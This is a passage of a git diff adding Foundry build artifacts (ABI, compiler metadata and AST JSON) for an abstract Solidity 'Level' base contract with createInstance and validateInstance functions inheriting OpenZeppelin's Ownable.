it","src":"32:312:14","nodes":[{"id":1720,"nodeType":"PragmaDirective","src":"32:23:14","nodes":[],"literals":["solidity","^","0.6",".0"]},{"id":1721,"nodeType":"ImportDirective","src":"57:54:14","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/access/Ownable.sol","file":"openzeppelin-contracts-06/access/Ownable.sol","scope":1741,"sourceUnit":110,"symbolAliases":[],"unitAlias":""},{"id":1740,"nodeType":"ContractDefinition","src":"113:230:14","nodes":[{"id":1730,"nodeType":"FunctionDefinition","src":"154:82:14","nodes":[],"documentation":null,"functionSelector":"7726f776","implemented":false,"kind":"function","modifiers":[],"name":"createInstance","overrides":null,"parameters":{"id":1726,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1725,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1730,"src":"178:15:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1724,"name":"address","nodeType":"ElementaryTypeName","src":"178:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"177:17:14"},"returnParameters":{"id":1729,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1728,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1730,"src":"227:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1727,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"226:9:14"},"scope":1740,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":1739,"nodeType":"FunctionDefinition","src":"241:100:14","nodes":[],"documentation":null,"functionSelector":"d38def5b","implemented":false,"kind":"function","modifiers":[],"name":"validateInstance","overrides":null,"parameters":{"id":1735,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1732,"mutability":"mutable","name":"_instance","nodeType":"VariableDeclaration","overrides":null,"scope":1739,"src":"267:25:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":1731,"name":"address","nodeType":"ElementaryTypeName","src":"267:15:14","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"value":null,"visibility":"internal"},{"constant":false,"id":1734,"mutability":"mutable","name":"_player","nodeType":"VariableDeclaration","overrides":null,"scope":1739,"src":"294:15:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1733,"name":"address","nodeType":"ElementaryTypeName","src":"294:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"266:44:14"},"returnParameters":{"id":1738,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1737,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":1739,"src":"335:4:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1736,"name":"bool","nodeType":"ElementaryTypeName","src":"335:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"334:6:14"},"scope":1740,"stateMutability":"nonpayable","virtual":true,"visibility":"public"}],"abstract":true,"baseContracts":[{"arguments":null,"baseName":{"contractScope":null,"id":1722,"name":"Ownable","nodeType":"UserDefinedTypeName","referencedDeclaration":109,"src":"140:7:14","typeDescriptions":{"typeIdentifier":"t_contract$_Ownable_$109","typeString":"contract Ownable"}},"id":1723,"nodeType":"InheritanceSpecifier","src":"140:7:14"}],"contractDependencies":[109,849],"contractKind":"contract","documentation":null,"fullyImplemented":false,"linearizedBaseContracts":[1740,109,849],"name":"Level","scope":1741}],"license":"MIT"},"id":14} \ No newline at end of file diff --git a/contracts/out/Level-08.sol/Level.json b/contracts/out/Level-08.sol/Level.json new file mode 100644 index 000000000..fad1cae7e --- /dev/null +++ b/contracts/out/Level-08.sol/Level.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/base/Level-08.sol\":\"Level\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/base/Level-08.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/base/Level-08.sol":"Level"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/base/Level-08.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/base/Level-08.sol","id":55487,"exportedSymbols":{"Context":[48281],"Level":[55486],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:312:114","nodes":[{"id":55466,"nodeType":"PragmaDirective","src":"32:23:114","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55467,"nodeType":"ImportDirective","src":"57:54:114","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":55487,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":55486,"nodeType":"ContractDefinition","src":"113:230:114","nodes":[{"id":55476,"nodeType":"FunctionDefinition","src":"154:82:114","nodes":[],"functionSelector":"7726f776","implemented":false,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"163:14:114","parameters":{"id":55472,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55471,"mutability":"mutable","name":"_player","nameLocation":"186:7:114","nodeType":"VariableDeclaration","scope":55476,"src":"178:15:114","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55470,"name":"address","nodeType":"ElementaryTypeName","src":"178:7:114","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"177:17:114"},"returnParameters":{"id":55475,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55474,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55476,"src":"227:7:114","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55473,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:114","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:9:114"},"scope":55486,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":55485,"nodeType":"FunctionDefinition","src":"241:100:114","nodes":[],"functionSelector":"d38def5b","implemented":false,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"250:16:114","parameters":{"id":55481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55478,"mutability":"mutable","name":"_instance","nameLocation":"283:9:114","nodeType":"VariableDeclaration","scope":55485,"src":"267:25:114","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55477,"name":"address","nodeType":"ElementaryTypeName","src":"267:15:114","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":55480,"mutability":"mutable","name":"_player","nameLocation":"302:7:114","nodeType":"VariableDeclaration","scope":55485,"src":"294:15:114","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55479,"name":"address","nodeType":"ElementaryTypeName","src":"294:7:114","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"266:44:114"},"returnParameters":{"id":55484,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55483,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55485,"src":"335:4:114","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55482,"name":"bool","nodeType":"ElementaryTypeName","src":"335:4:114","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"334:6:114"},"scope":55486,"stateMutability":"nonpayable","virtual":true,"visibility":"public"}],"abstract":true,"baseContracts":[{"baseName":{"id":55468,"name":"Ownable","nameLocations":["140:7:114"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"140:7:114"},"id":55469,"nodeType":"InheritanceSpecifier","src":"140:7:114"}],"canonicalName":"Level","contractDependencies":[],"contractKind":"contract","fullyImplemented":false,"linearizedBaseContracts":[55486,46700,48281],"name":"Level","nameLocation":"131:5:114","scope":55487,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":114} \ No newline at end of file diff --git a/contracts/out/Level.sol/Level.json b/contracts/out/Level.sol/Level.json new file mode 100644 index 000000000..527c89035 --- /dev/null +++ b/contracts/out/Level.sol/Level.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/base/Level.sol\":\"Level\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/base/Level.sol":"Level"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/base/Level.sol","id":55509,"exportedSymbols":{"Context":[48281],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:312:115","nodes":[{"id":55488,"nodeType":"PragmaDirective","src":"32:23:115","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55489,"nodeType":"ImportDirective","src":"57:54:115","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":55509,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":55508,"nodeType":"ContractDefinition","src":"113:230:115","nodes":[{"id":55498,"nodeType":"FunctionDefinition","src":"154:82:115","nodes":[],"functionSelector":"7726f776","implemented":false,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"163:14:115","parameters":{"id":55494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55493,"mutability":"mutable","name":"_player","nameLocation":"186:7:115","nodeType":"VariableDeclaration","scope":55498,"src":"178:15:115","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55492,"name":"address","nodeType":"ElementaryTypeName","src":"178:7:115","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"177:17:115"},"returnParameters":{"id":55497,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55496,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55498,"src":"227:7:115","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55495,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:115","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:9:115"},"scope":55508,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":55507,"nodeType":"FunctionDefinition","src":"241:100:115","nodes":[],"functionSelector":"d38def5b","implemented":false,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"250:16:115","parameters":{"id":55503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55500,"mutability":"mutable","name":"_instance","nameLocation":"283:9:115","nodeType":"VariableDeclaration","scope":55507,"src":"267:25:115","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55499,"name":"address","nodeType":"ElementaryTypeName","src":"267:15:115","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 